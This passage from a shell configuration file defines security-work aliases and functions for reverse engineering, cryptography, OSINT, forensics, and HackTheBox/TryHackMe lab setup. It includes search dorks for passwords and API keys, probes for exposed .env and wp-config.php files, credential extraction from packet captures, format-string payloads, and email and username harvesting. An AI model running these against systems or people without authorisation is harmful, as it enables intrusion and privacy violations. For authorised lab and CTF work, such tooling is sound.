xrefs() {
    binary="$1"; target="$2"
    [ -z "$target" ] && { echo "Usage: xrefs <binary> <function>"; return 1; }
    r2 -q -c "aaa; axt $target" "$binary" 2>/dev/null
}

firmware_extract() {
    firmware="$1"; outdir="${2:-./firmware_extracted}"
    [ -z "$firmware" ] && { echo "Usage: firmware_extract <firmware.bin> [outdir]"; return 1; }
    mkdir -p "$outdir"
    binwalk -Me "$firmware" -d "$outdir" 2>/dev/null
    echo "[+] Extraction complete: $outdir" && ls -la "$outdir"
}

# ============================================================================
# functions: cryptography
# ============================================================================

certinfo() {
    host="$1"; port="${2:-443}"
    [ -z "$host" ] && { echo "Usage: certinfo <host> [port]"; return 1; }
    openssl s_client -connect "$host:$port" -servername "$host" </dev/null 2>/dev/null | openssl x509 -text -noout 2>/dev/null
}

certchain() {
    host="$1"; port="${2:-443}"
    [ -z "$host" ] && { echo "Usage: certchain <host> [port]"; return 1; }
    openssl s_client -showcerts -connect "$host:$port" -servername "$host" </dev/null 2>/dev/null | grep -A 1 'subject='
}

genkey() {
    type="$1"; keyfile="${3:-id_key}"
    [ -z "$type" ] && { echo "Usage: genkey <rsa|ec|ed25519> [size] [file]"; return 1; }
    case "$type" in
        rsa) openssl genrsa -out "$keyfile" "${2:-4096}" ;;
        ec) openssl ecparam -genkey -name "${2:-prime256v1}" -out "$keyfile" ;;
        ed25519) openssl genpkey -algorithm ed25519 -out "$keyfile" ;;
    esac
    chmod 600 "$keyfile" && echo "[+] Key: $keyfile (0600)"
}

selfsign() {
    domain="$1"; days="${2:-365}"
    [ -z "$domain" ] && { echo "Usage: selfsign <domain> [days]"; return 1; }
    openssl req -x509 -newkey rsa:4096 -keyout "$domain.key" -out "$domain.crt" -days "$days" -nodes -subj "/CN=$domain"
    echo "[+] Key: $domain.key  Cert: $domain.crt"
}

jwtdecode() {
    token="$1"
    [ -z "$token" ] && { echo "Usage: jwtdecode <JWT>"; return 1; }
    python3 -c "
import sys,json,base64
parts='$token'.split('.')
def pad(s): return s+'='*(-len(s)%4)
print('[Header]'); print(json.dumps(json.loads(base64.urlsafe_b64decode(pad(parts[0]))),indent=2))
print('[Payload]'); print(json.dumps(json.loads(base64.urlsafe_b64decode(pad(parts[1]))),indent=2))
"
}

entropy() {
    input="$1"
    [ -z "$input" ] && { echo "Usage: entropy <file>"; return 1; }
    python3 -c "
import math
data=open('$input','rb').read()
h=sum(-p*math.log2(p) for p in [data.count(bytes([b]))/len(data) for b in range(256)] if p>0)
print(f'Entropy: {h:.4f} bits/byte (max 8.0)')
"
}

xorbrute() {
    file="$1"
    [ -z "$file" ] && { echo "Usage: xorbrute <file>"; return 1; }
    python3 -c "
data=open('$file','rb').read()
for key in range(256):
    dec=bytes([b^key for b in data])
    pr=sum(1 for c in dec if 32<=c<127)/len(dec)
    if pr>0.8: print(f'Key 0x{key:02x}: {pr:.0%} printable: {dec[:80]}')" | head -10
}

hashspray() {
    s="$1"
    [ -z "$s" ] && { echo "Usage: hashspray <string>"; return 1; }
    echo "MD5:    $(echo -n "$s" | openssl dgst -md5 | cut -d' ' -f2)"
    echo "SHA1:   $(echo -n "$s" | openssl dgst -sha1 | cut -d' ' -f2)"
    echo "SHA256: $(echo -n "$s" | openssl dgst -sha256 | cut -d' ' -f2)"
    echo "SHA512: $(echo -n "$s" | openssl dgst -sha512 | cut -d' ' -f2)"
}

randpass() {
    length="${1:-32}"
    openssl rand -base64 "$length" | tr -d '=' | head -c "$length"; echo
}

tlscheck() {
    host="$1"; port="${2:-443}"
    [ -z "$host" ] && { echo "Usage: tlscheck <host> [port]"; return 1; }
    if command -v testssl.sh >/dev/null; then testssl.sh "$host:$port" | head -100
    else openssl s_client -connect "$host:$port" -servername "$host" </dev/null 2>&1 | grep -E 'Protocol|Cipher|subject=|issuer='
    fi
}

# ============================================================================
# functions: OSINT
# ============================================================================

dorkon() {
    target="$1"
    [ -z "$target" ] && { echo "Usage: dorkon <domain>"; return 1; }
    printf "site:%s intitle:admin\nsite:%s inurl:login\nsite:%s filetype:pdf\nsite:%s \"password\"\nsite:%s \"api_key\"\nsite:%s inurl:backup\nsite:%s inurl:config\n" "$target" "$target" "$target" "$target" "$target" "$target" "$target"
}

domainrecon() {
    domain="$1"
    [ -z "$domain" ] && { echo "Usage: domainrecon <domain>"; return 1; }
    echo "[*] WHOIS..." && whois "$domain" 2>/dev/null | head -20
    echo "[*] DNS..." && dig "$domain" +short
    echo "[*] Subdomains..." && command -v subfinder >/dev/null && subfinder -d "$domain" -silent 2>/dev/null | head -20
    echo "[*] CT logs..." && curl -s "https://crt.sh/?q=${domain}&output=json" 2>/dev/null | grep -o '"name_value":"[^"]*' | cut -d'"' -f4 | sort -u | head -20
}

iprecon() {
    ip="$1"
    [ -z "$ip" ] && { echo "Usage: iprecon <ip>"; return 1; }
    echo "[*] WHOIS..." && whois "$ip" 2>/dev/null | grep -E "^(Organization|NetName|Country):" | head -10
    echo "[*] GeoIP..." && geoiplookup "$ip" 2>/dev/null
    echo "[*] Reverse DNS..." && dig -x "$ip" +short 2>/dev/null
}

emailharvest() {
    domain="$1"
    [ -z "$domain" ] && { echo "Usage: emailharvest <domain>"; return 1; }
    command -v theHarvester >/dev/null && theHarvester -d "$domain" -b google 2>/dev/null | grep "@${domain}"
    echo "[*] SPF/DMARC..." && dig "${domain}" TXT +short | grep -E "v=spf1|v=dmarc1"
}

socialscan() {
    username="$1"
    [ -z "$username" ] && { echo "Usage: socialscan <username>"; return 1; }
    command -v sherlock >/dev/null && sherlock "$username" 2>/dev/null
    command -v maigret >/dev/null && maigret "$username" 2>/dev/null | head -30
}

waybackdump() {
    domain="$1"; filter="${2:-.php|.js|.json|admin|api|config}"
    [ -z "$domain" ] && { echo "Usage: waybackdump <domain> [filter]"; return 1; }
    curl -s "https://web.archive.org/cdx/search/cdx?url=*.${domain}/*&matchType=domain&output=json&fl=timestamp,original&filter=statuscode:200&collapse=urlkey" | grep -o '"original":"[^"]*' | cut -d'"' -f4 | sort -u | grep -E "$filter"
}

certrecon() {
    domain="$1"
    [ -z "$domain" ] && { echo "Usage: certrecon <domain>"; return 1; }
    curl -s "https://crt.sh/?q=${domain}&output=json" 2>/dev/null | grep -o '"name_value":"[^"]*' | cut -d'"' -f4 | sort -u
}

asnlookup() {
    asn="$1"
    [ -z "$asn" ] && { echo "Usage: asnlookup <ASN>"; return 1; }
    whois -h whois.radb.net -i origin "$asn" 2>/dev/null | grep "^route:" | awk '{print $NF}' | sort -u
}

passiverecon() {
    domain="$1"
    [ -z "$domain" ] && { echo "Usage: passiverecon <domain>"; return 1; }
    echo "[*] WHOIS..." && whois "$domain" 2>/dev/null | head -15
    echo "[*] Wayback..." && curl -s "https://archive.org/wayback/available?url=${domain}" 2>/dev/null
    echo "[*] CT logs..." && curl -s "https://crt.sh/?q=${domain}&output=json" 2>/dev/null | head -20
    echo "[*] DNS..." && curl -s "https://dns.google/resolve?name=${domain}" 2>/dev/null
}

# ============================================================================
# functions: forensics
# ============================================================================

acquire() {
    [ $# -lt 2 ] && { echo "Usage: acquire <source> <output>"; return 1; }
    dcfldd if="$1" of="$2" hash=md5 hash=sha256 hashwindow=1M bs=4M conv=notrunc,noerror
}

timeline() {
    [ -z "$1" ] && { echo "Usage: timeline <image_or_dir> [output]"; return 1; }
    local output="${2:-timeline.csv}" bodyfile="/tmp/bodyfile_$$.body"
    if [ -f "$1" ]; then fls -r "$1" > "$bodyfile"
    elif [ -d "$1" ]; then find "$1" -exec stat -c '%i|%n|%a|%u|%g|%s|%Y|%Y|%Y|%Y' {} \; > "$bodyfile"
    fi
    mactime -b "$bodyfile" -d -y > "$output" && echo "[+] Timeline: $output"
    rm -f "$bodyfile"
}

pcapanalyze() {
    [ -z "$1" ] && { echo "Usage: pcapanalyze <pcap> [outdir]"; return 1; }
    local outdir="${2:-pcap_analysis_$$}"; mkdir -p "$outdir"
    tshark -r "$1" -Y 'dns' -T fields -e frame.time -e dns.qry.name > "$outdir/dns.txt" 2>/dev/null
    tshark -r "$1" -Y 'http.request' -T fields -e http.host -e http.request.uri > "$outdir/http.txt" 2>/dev/null
    tshark -r "$1" -Y 'http.authorization' -T fields -e http.authorization > "$outdir/auth.txt" 2>/dev/null
    echo "[+] Analysis: $outdir" && ls "$outdir"
}

hashverify() {
    [ $# -lt 2 ] && { echo "Usage: hashverify <file> <hash> [md5|sha256]"; return 1; }
    local htype="${3:-sha256}"
    local actual=$(${htype}sum "$1" | awk '{print $1}')
    echo "Expected: $2" && echo "Actual:   $actual"
    [ "$2" = "$actual" ] && echo "[+] PASSED" || echo "[-] FAILED"
}

volatility_triage() {
    [ $# -lt 2 ] && { echo "Usage: volatility_triage <image> <outdir>"; return 1; }
    local outdir="$2"; mkdir -p "$outdir"
    vol.py -f "$1" windows.pslist 2>/dev/null | tee "$outdir/pslist.txt"
    vol.py -f "$1" windows.netscan 2>/dev/null | tee "$outdir/netscan.txt"
    vol.py -f "$1" windows.cmdline 2>/dev/null | tee "$outdir/cmdline.txt"
    echo "[+] Triage: $outdir"
}

iocextract() {
    [ -z "$1" ] && { echo "Usage: iocextract <file>"; return 1; }
    echo "=== IPs ===" && grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' "$1" | sort -u
    echo "=== Domains ===" && grep -oE '([a-z0-9](-[a-z0-9])*\.)+[a-z]{2,}' "$1" | sort -u
    echo "=== Emails ===" && grep -oE '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$1" | sort -u
    echo "=== URLs ===" && grep -oE 'https?://[^\s]+' "$1" | sort -u
    echo "=== MD5 ===" && grep -oE '\b[a-fA-F0-9]{32}\b' "$1" | sort -u
    echo "=== SHA256 ===" && grep -oE '\b[a-fA-F0-9]{64}\b' "$1" | sort -u
}

stegcheck() {
    [ -z "$1" ] && { echo "Usage: stegcheck <image>"; return 1; }
    local outdir="steg_$$"; mkdir -p "$outdir"
    command -v zsteg >/dev/null && zsteg -a "$1" > "$outdir/zsteg.txt" 2>&1
    command -v steghide >/dev/null && steghide info "$1" > "$outdir/steghide.txt" 2>&1
    command -v exiftool >/dev/null && exiftool -json "$1" > "$outdir/exif.json" 2>&1
    binwalk -E -B "$1" > "$outdir/binwalk.txt" 2>&1
    strings -n 8 "$1" > "$outdir/strings.txt"
    echo "[+] Results: $outdir" && ls "$outdir"
}

# ============================================================================
# aliases: CTF
# ============================================================================
alias grepflag='grep -oiE "(flag|htb|thm|ctf|picoCTF|DUCTF|CSAW)\{[^}]+\}"'
alias grepmd5='grep -oE "[a-fA-F0-9]{32}"'
alias grepsha1='grep -oE "[a-fA-F0-9]{40}"'
alias grepsha256='grep -oE "[a-fA-F0-9]{64}"'
alias grephex='grep -oE "0x[a-fA-F0-9]+"'
alias grepb64='grep -oE "[A-Za-z0-9+/]{20,}={0,2}"'
alias rot47="tr '\!-~' 'P-~\!-O'"
alias atbash="tr 'A-Za-z' 'Z-Az-a'"
alias b32e='base32'
alias b32d='base32 -d'
alias b85e='python3 -c "import sys,base64;print(base64.b85encode(sys.stdin.buffer.read()).decode())"'
alias b85d='python3 -c "import sys,base64;print(base64.b85decode(sys.stdin.buffer.read().strip()).decode())"'
alias bwalk='binwalk -Me'
alias bwent='binwalk -E'
alias bwsig='binwalk -B'
alias forem='foremost -t all -i'
alias exifall='exiftool -a -u -g1'
alias exifstrip='exiftool -All= -overwrite_original'
alias pdftext='pdftotext -layout'
alias pdfimages='pdfimages -all'
alias steginfo='steghide info'
alias stegx='steghide extract -sf'
alias zstega='zsteg -a'
alias pngcheck='pngcheck -v'
alias pcaphttp='tshark -Y "http.request or http.response" -r'
alias pcapdns='tshark -Y "dns" -r'
alias pcapftp='tshark -Y "ftp" -r'
alias pcapcreds='tshark -Y "http.authorization or ftp.request.command==PASS or ftp.request.command==USER" -r'
alias pcapfollow='tshark -z follow,tcp,ascii,0 -r'
alias pcapfiles='tshark --export-objects http,. -r'
alias pcapstats='capinfos'
alias ropgadget='ROPgadget --binary'
alias ropper='ropper -f'
alias patchelf_interp='patchelf --set-interpreter'
alias nm_funcs='nm -C'
alias curlcookie='curl -c cookies.txt -b cookies.txt'
alias curlfollow='curl -sL'
alias curlpost='curl -s -X POST -H "Content-Type: application/json" -d'
alias wlrock='echo /usr/share/wordlists/rockyou.txt'
alias wlcommon='echo /usr/share/wordlists/dirb/common.txt'
alias wlbig='echo /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt'
alias qrdecode='zbarimg'
alias qrgen='qrencode -o qr.png'
alias rawstrings='strings -a -n 4'
alias printable='strings -e s'
alias cyberchef='xdg-open https://gchq.github.io/CyberChef/'
alias dcode='xdg-open https://www.dcode.fr/'
alias factordb='xdg-open https://factordb.com/'

# ============================================================================
# functions: CTF
# ============================================================================

ctfinit() {
    name="$1"; category="${2:-misc}"
    [ -z "$name" ] && { echo "Usage: ctfinit <challenge-name> [category]"; return 1; }
    dir="$PWD/$name"
    mkdir -p "$dir"/{files,solve,notes}
    cat > "$dir/notes/README.md" << EOF
# $name
Category: $category
Date: $(date -I)
Points:
Flag:

## Description

## Solution
EOF
    echo "[+] CTF workspace: $dir"
    cd "$dir"
}

ctfcomp() {
    comp="$1"
    [ -z "$comp" ] && { echo "Usage: ctfcomp <competition-name>"; return 1; }
    dir="$PWD/$comp"
    mkdir -p "$dir"/{crypto,pwn,rev,web,forensics,misc,osint}
    echo "# $comp - $(date -I)" > "$dir/README.md"
    echo "[+] Competition workspace: $dir"
    cd "$dir"
}

rotall() {
    input="$1"
    [ -z "$input" ] && { echo "Usage: rotall <string>"; return 1; }
    python3 -c "
s = '$input'
for i in range(26):
    r = []
    for c in s:
        if c.isalpha():
            base = ord('A') if c.isupper() else ord('a')
            r.append(chr((ord(c) - base + i) % 26 + base))
        else:
            r.append(c)
    print(f'ROT{i:02d}: {chr(34).join([\"\"])}' + ''.join(r))
"
}

xorbrute_ctf() {
    file="$1"
    [ -z "$file" ] && { echo "Usage: xorbrute_ctf <file>"; return 1; }
    python3 -c "
data = open('$file','rb').read()
for key in range(256):
    dec = bytes([b^key for b in data])
    printable = sum(1 for c in dec if 32<=c<127) / max(len(dec),1)
    if printable > 0.7:
        preview = dec[:80].decode('ascii', errors='replace')
        print(f'Key 0x{key:02x} ({printable:.0%}): {preview}')
" | head -20
}

xorfiles() {
    [ $# -lt 2 ] && { echo "Usage: xorfiles <file1> <file2> [output]"; return 1; }
    out="${3:-xored.bin}"
    python3 -c "
import itertools
a = open('$1','rb').read()
b = open('$2','rb').read()
result = bytes([x^y for x,y in zip(a, itertools.cycle(b))])
open('$out','wb').write(result)
print(f'[+] XORed {len(a)} bytes -> $out')
"
}

freqanalysis() {
    input="$1"
    [ -z "$input" ] && { echo "Usage: freqanalysis <string-or-file>"; return 1; }
    if [ -f "$input" ]; then
        cat "$input"
    else
        echo "$input"
    fi | python3 -c "
import sys, collections
text = sys.stdin.read().upper()
freq = collections.Counter(c for c in text if c.isalpha())
total = sum(freq.values())
print('Character frequencies:')
for c, n in freq.most_common():
    print(f'  {c}: {n:4d} ({100*n/total:5.1f}%)')
print(f'By frequency: {chr(34).join([\"\"])}' + ''.join(c for c,_ in freq.most_common()))
print(f'English freq: ETAOINSHRDLCUMWFGYPBVKJXQZ')
"
}

hashall() {
    input="$1"
    [ -z "$input" ] && { echo "Usage: hashall <string>"; return 1; }
    printf '%s' "$input" | { echo "MD5:    $(md5sum | cut -d' ' -f1)"; }
    printf '%s' "$input" | { echo "SHA1:   $(sha1sum | cut -d' ' -f1)"; }
    printf '%s' "$input" | { echo "SHA256: $(sha256sum | cut -d' ' -f1)"; }
    printf '%s' "$input" | { echo "SHA512: $(sha512sum | cut -d' ' -f1)"; }
}

forensic() {
    file="$1"
    [ -z "$file" ] || [ ! -f "$file" ] && { echo "Usage: forensic <file>"; return 1; }
    echo "=== FILE TYPE ===" && file "$file"
    echo "" && echo "=== SIZE ===" && ls -lh "$file" | awk '{print $5}'
    echo "" && echo "=== HASHES ==="
    echo "MD5:    $(md5sum "$file" | cut -d' ' -f1)"
    echo "SHA256: $(sha256sum "$file" | cut -d' ' -f1)"
    echo "" && echo "=== EXIFTOOL ==="
    exiftool "$file" 2>/dev/null | head -25
    echo "" && echo "=== BINWALK ==="
    binwalk "$file" 2>/dev/null | head -15
    echo "" && echo "=== STRINGS (first 20) ==="
    strings -a "$file" | head -20
}

stegpipeline() {
    file="$1"
    [ -z "$file" ] || [ ! -f "$file" ] && { echo "Usage: stegpipeline <image>"; return 1; }
    echo "=== FILE INFO ===" && file "$file"
    echo "" && echo "=== EXIF INTERESTING ==="
    exiftool "$file" 2>/dev/null | grep -iE "comment|author|description|title|software"
    echo "" && echo "=== FLAG-LIKE STRINGS ==="
    strings -n 8 "$file" | grep -iE "flag|ctf|key|password|secret|hint" | head -10
    if echo "$file" | grep -qiE '\.png$'; then
        echo "" && echo "=== ZSTEG ==="
        zsteg "$file" 2>/dev/null | head -15
        echo "" && echo "=== PNGCHECK ==="
        pngcheck -v "$file" 2>/dev/null | head -10
    fi
    echo "" && echo "=== STEGHIDE (empty passphrase) ==="
    steghide extract -sf "$file" -p "" -f 2>/dev/null && echo "[+] Extracted!" || echo "[-] No hidden data"
    echo "" && echo "=== BINWALK ==="
    binwalk "$file" 2>/dev/null | head -10
}

pcapfull() {
    pcap="$1"
    [ -z "$pcap" ] || [ ! -f "$pcap" ] && { echo "Usage: pcapfull <pcap-file>"; return 1; }
    outdir="pcap_$(basename "$pcap" | sed 's/\.[^.]*$//')_$$"
    mkdir -p "$outdir"
    echo "[*] Analyzing $pcap -> $outdir/"
    capinfos "$pcap" 2>/dev/null > "$outdir/stats.txt"
    tshark -r "$pcap" -z io,phs -q 2>/dev/null > "$outdir/protocols.txt"
    tshark -r "$pcap" -Y 'dns.qry.name' -T fields -e dns.qry.name 2>/dev/null | sort -u > "$outdir/dns_queries.txt"
    tshark -r "$pcap" -Y 'http.request' -T fields -e http.host -e http.request.method -e http.request.uri 2>/dev/null > "$outdir/http_requests.txt"
    tshark -r "$pcap" -Y 'ftp.request.command' -T fields -e ftp.request.command -e ftp.request.arg 2>/dev/null > "$outdir/ftp.txt"
    echo "[+] Output in $outdir/" && ls -la "$outdir/"
}

ctf_pwntemplate() {
    binary="$1"; output="${2:-exploit.py}"
    [ -z "$binary" ] && { echo "Usage: ctf_pwntemplate <binary> [output.py]"; return 1; }
    cat > "$output" << 'PWNEOF'
#!/usr/bin/env python3
from pwn import *

BINARY = './PLACEHOLDER'
HOST = ''
PORT = 0

context.binary = elf = ELF(BINARY)
context.log_level = 'info'
libc = elf.libc

def conn():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process([BINARY])

def exploit():
    r = conn()
    # --- exploit code here ---
    r.interactive()

if __name__ == '__main__':
    exploit()
PWNEOF
    sed -i "s|PLACEHOLDER|$binary|g" "$output"
    chmod +x "$output"
    echo "[+] Pwntools template: $output"
}

fmtstr_test() {
    count="${1:-20}"
    echo "[*] Format string test payloads:"
    i=1
    while [ "$i" -le "$count" ]; do
        printf "%%${i}\$x  "
        i=$((i + 1))
    done
    echo ""
}

cyclic_gen() {
    length="${1:-200}"
    python3 -c "from pwn import *; print(cyclic($length).decode())"
}

cyclic_find() {
    value="$1"
    [ -z "$value" ] && { echo "Usage: cyclic_find <4-char-value>"; return 1; }
    python3 -c "from pwn import *; print(cyclic_find(b'$value'))"
}

dirbust() {
    url="$1"
    [ -z "$url" ] && { echo "Usage: dirbust <url>"; return 1; }
    echo "[*] Quick scan (common.txt)..."
    gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -t 50 -q 2>/dev/null | head -30
    echo ""
    echo "[*] Extension scan (.php,.html,.txt,.bak,.old,.zip)..."
    gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak,old,zip -t 50 -q 2>/dev/null | head -30
}

webcheck() {
    url="$1"
    [ -z "$url" ] && { echo "Usage: webcheck <url>"; return 1; }
    echo "=== HEADERS ==="
    curl -sI "$url" | grep -iE "server|x-powered|x-frame|content-security|set-cookie|x-xss"
    echo "" && echo "=== ROBOTS.TXT ==="
    curl -s "$url/robots.txt" 2>/dev/null | head -15
    echo "" && echo "=== COMMON FILES ==="
    for path in .git/HEAD .env .htaccess wp-config.php web.config backup.zip; do
        code=$(curl -s -o /dev/null -w "%{http_code}" "$url/$path" 2>/dev/null)
        [ "$code" != "404" ] && [ "$code" != "000" ] && echo "  [!] $path -> $code"
    done
}

autodecode() {
    input="$1"
    [ -z "$input" ] && { echo "Usage: autodecode <string>"; return 1; }
    python3 -c "
import base64, codecs, urllib.parse, sys

s = '''$input'''
print(f'Input: {s}')
print()

# Hex
try:
    d = bytes.fromhex(s.replace('0x','').replace(' ',''))
    if all(32<=b<127 for b in d):
        print(f'Hex decode: {d.decode()}')
except: pass

# Base64
try:
    d = base64.b64decode(s + '==')
    if all(32<=b<127 for b in d):
        print(f'Base64 decode: {d.decode()}')
except: pass

# Base32
try:
    d = base64.b32decode(s + '='*(-len(s)%8))
    if all(32<=b<127 for b in d):
        print(f'Base32 decode: {d.decode()}')
except: pass

# URL decode
try:
    d = urllib.parse.unquote(s)
    if d != s: print(f'URL decode: {d}')
except: pass

# ROT13
d = codecs.decode(s, 'rot_13')
if d != s: print(f'ROT13: {d}')

# Binary
try:
    if all(c in '01 ' for c in s):
        d = ''.join(chr(int(b,2)) for b in s.split())
        print(f'Binary decode: {d}')
except: pass

# Decimal
try:
    if all(c in '0123456789 ' for c in s):
        d = ''.join(chr(int(n)) for n in s.split() if 32<=int(n)<127)
        if d: print(f'Decimal decode: {d}')
except: pass
"
}

extractall() {
    file="$1"
    [ -z "$file" ] || [ ! -f "$file" ] && { echo "Usage: extractall <file>"; return 1; }
    outdir="extracted_$$"
    mkdir -p "$outdir"
    echo "[*] Binwalk extraction..."
    binwalk -Me "$file" -C "$outdir" 2>/dev/null
    echo "[*] Foremost carving..."
    foremost -i "$file" -o "$outdir/foremost" 2>/dev/null
    echo "[+] Results in $outdir/"
    find "$outdir" -type f | head -20
}

flaghunt() {
    dir="${1:-.}"
    echo "[*] Hunting for flags in $dir..."
    grep -rlIE "(flag|htb|thm|ctf|picoCTF)\{[^}]+\}" "$dir" 2>/dev/null
    echo "[*] Checking filenames..."
    find "$dir" -iname '*flag*' -o -iname '*secret*' -o -iname '*hidden*' 2>/dev/null
}

baseconv() {
    num="$1"; from="${2:-10}"; to="${3:-16}"
    [ -z "$num" ] && { echo "Usage: baseconv <number> [from-base] [to-base]"; return 1; }
    python3 -c "
n = int('$num', $from)
fmts = {2:'b', 8:'o', 10:'d', 16:'x'}
print(format(n, fmts.get($to, 'x')))
"
}

# ============================================================================
# aliases: HTB
# ============================================================================
alias htbvpn='sudo openvpn ~/htb/lab.ovpn'
alias htbvpnr='sudo openvpn ~/htb/release.ovpn'
alias htbvpnf='sudo openvpn ~/htb/fortress.ovpn'
alias htbvpnk='sudo killall openvpn'
alias htbip='ip addr show tun0 | grep "inet " | awk "{print \$2}" | cut -d/ -f1'
alias htbtun='ip a show tun0 2>/dev/null && echo "[+] VPN connected" || echo "[-] VPN disconnected"'
alias cdhtbm='cd ~/ctf/hackthebox/machines'
alias cdhtbc='cd ~/ctf/hackthebox/challenges'
alias cdhtbs='cd ~/ctf/hackthebox/sherlocks'
alias cdhtbp='cd ~/ctf/hackthebox/prolabs'
alias htblist='htb-cli machine list'
alias htbactive='htb-cli machine list --active'
alias htbretired='htb-cli machine list --retired'
alias htbstart='htb-cli machine start'
alias htbstop='htb-cli machine stop'
alias htbreset='htb-cli machine reset'
alias htbflag='htb-cli machine submit'
alias htbinfo='htb-cli machine info'
alias htbweb='xdg-open https://app.hackthebox.com/machines'
alias htbchal='xdg-open https://app.hackthebox.com/challenges'
alias htbsher='xdg-open https://app.hackthebox.com/sherlocks'
alias htbacad='xdg-open https://academy.hackthebox.com'
alias htbrank='xdg-open https://app.hackthebox.com/profile'

# ============================================================================
# functions: HTB
# ============================================================================

htbinit() {
    name="$1"
    [ -z "$name" ] && { echo "Usage: htbinit <machine-name>"; return 1; }
    dir="$HOME/ctf/hackthebox/machines/$name"
    mkdir -p "$dir"/{nmap,web,exploit,loot,privesc,notes}
    cat > "$dir/notes/notes.md" << EOF
# $name (HackTheBox)
Date: $(date -I)
Difficulty:
OS:
IP:

## Recon

## Foothold

## User

## Root

## Flags
- user.txt:
- root.txt:
EOF
    echo "[+] HTB workspace: $dir"
    cd "$dir"
}

htbset() {
    ip="$1"; name="$2"
    [ -z "$ip" ] && { echo "Usage: htbset <ip> [hostname]"; return 1; }
    export TARGET="$ip"
    export HTB_BOX="$name"
    echo "[+] TARGET=$ip"
    if [ -n "$name" ]; then
        if grep -q "$name" /etc/hosts 2>/dev/null; then
            echo "[*] $name already in /etc/hosts"
        else
            echo "[*] Adding to /etc/hosts..."
            echo "$ip    $name $name.htb" | sudo tee -a /etc/hosts
        fi
    fi
}

htbclean() {
    name="$1"
    [ -z "$name" ] && { echo "Usage: htbclean <hostname>"; return 1; }
    sudo sed -i "/$name/d" /etc/hosts
    echo "[+] Removed $name from /etc/hosts"
}

htbrecon() {
    target="$1"
    [ -z "$target" ] && target="$TARGET"
    [ -z "$target" ] && { echo "Usage: htbrecon <ip> (or set TARGET)"; return 1; }
    echo "[*] === PHASE 1: Quick port scan ==="
    ports=$(nmap -p- --min-rate=1000 -T4 "$target" 2>/dev/null | grep '^[0-9]' | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
    [ -z "$ports" ] && { echo "[-] No open ports found"; return 1; }
    echo "[+] Open ports: $ports"
    echo "[*] === PHASE 2: Deep scan ==="
    nmap -sC -sV -p"$ports" "$target" -oN nmap/deep.txt -oX nmap/deep.xml 2>/dev/null
    echo "[+] Saved to nmap/deep.txt"
    echo "[*] === PHASE 3: UDP top 20 ==="
    nmap -sU --top-ports 20 "$target" -oN nmap/udp.txt 2>/dev/null &
    if echo "$ports" | grep -qE '(80|443|8080|8443)'; then
        echo "[*] === PHASE 4: Web enumeration ==="
        for port in 80 443 8080 8443; do
            if echo "$ports" | grep -q "$port"; then
                proto="http"
                [ "$port" = "443" ] || [ "$port" = "8443" ] && proto="https"
                whatweb "$proto://$target:$port" 2>/dev/null | head -5
            fi
        done
    fi
    wait
    echo "[+] Recon complete"
}

htbnmap() {
    target="$1"
    [ -z "$target" ] && target="$TARGET"
    [ -z "$target" ] && { echo "Usage: htbnmap <ip>"; return 1; }
    mkdir -p nmap
    echo "[*] Quick TCP scan..."
    nmap -sC -sV -oN nmap/initial.txt "$target"
}

htbsherlock() {
    name="$1"
    [ -z "$name" ] && { echo "Usage: htbsherlock <sherlock-name>"; return 1; }
    dir="$HOME/ctf/hackthebox/sherlocks/$name"
    mkdir -p "$dir"/{artifacts,analysis,notes}
    cat > "$dir/notes/notes.md" << EOF
# $name (Sherlock)
Date: $(date -I)
Category:
Difficulty:

## Scenario

## Evidence Analysis

## Timeline

## Answers
EOF
    echo "[+] Sherlock workspace: $dir"
    cd "$dir"
}

htbdone() {
    dir="$HOME/ctf/hackthebox/machines"
    [ ! -d "$dir" ] && { echo "No HTB directory found"; return 1; }
    echo "=== Completed HTB Machines ==="
    for box in "$dir"/*/; do
        name=$(basename "$box")
        if grep -q "root.txt:" "$box/notes/notes.md" 2>/dev/null | grep -v "root.txt:$"; then
            echo "  [x] $name"
        else
            echo "  [ ] $name"
        fi
    done
}

htbsearch() {
    query="$1"
    [ -z "$query" ] && { echo "Usage: htbsearch <name>"; return 1; }
    [ -z "$HTB_TOKEN" ] && { echo "Set HTB_TOKEN first"; return 1; }
    curl -s "https://labs.hackthebox.com/api/v4/search/fetch?query=$query" \
        -H "Authorization: Bearer $HTB_TOKEN" \
        -H "Content-Type: application/json" 2>/dev/null | python3 -m json.tool 2>/dev/null | head -40
}

htbmachine() {
    id="$1"
    [ -z "$id" ] && { echo "Usage: htbmachine <machine-id>"; return 1; }
    [ -z "$HTB_TOKEN" ] && { echo "Set HTB_TOKEN first"; return 1; }
    curl -s "https://labs.hackthebox.com/api/v4/machine/profile/$id" \
        -H "Authorization: Bearer $HTB_TOKEN" 2>/dev/null | python3 -m json.tool 2>/dev/null
}

# ============================================================================
# aliases: THM
# ============================================================================
alias thmvpn='sudo openvpn ~/thm/thm.ovpn'
alias thmvpnk='sudo killall openvpn'
alias thmip='ip addr show tun0 | grep "inet " | awk "{print \$2}" | cut -d/ -f1'
alias thmtun='ip a show tun0 2>/dev/null && echo "[+] VPN up" || echo "[-] VPN down"'
alias cdthmr='cd ~/ctf/tryhackme/rooms'
alias cdthmp='cd ~/ctf/tryhackme/paths'
alias thmweb='xdg-open https://tryhackme.com'
alias thmrooms='xdg-open https://tryhackme.com/hacktivities'
alias thmpath='xdg-open https://tryhackme.com/paths'
alias thmrank='xdg-open https://tryhackme.com/profile'
alias thmnet='xdg-open https://tryhackme.com/access'

# ============================================================================
# functions: THM
# ============================================================================

thminit() {
    name="$1"; path_name="${2:-}"
    [ -z "$name" ] && { echo "Usage: thminit <room-name> [path-name]"; return 1; }
    if [ -n "$path_name" ]; then
        dir="$HOME/ctf/tryhackme/paths/$path_name/$name"
    else
        dir="$HOME/ctf/tryhackme/rooms/$name"
    fi
    mkdir -p "$dir"/{nmap,web,exploit,loot,notes}
    cat > "$dir/notes/notes.md" << EOF
# $name (TryHackMe)
Date: $(date -I)
Room URL: https://tryhackme.com/r/room/$name
Difficulty:

## Tasks

### Task 1

### Task 2

## Notes
EOF
    echo "[+] THM workspace: $dir"
    cd "$dir"
}

thmset() {
    ip="$1"; name="$2"
    [ -z "$ip" ] && { echo "Usage: thmset <ip> [hostname]"; return 1; }
    export TARGET="$ip"
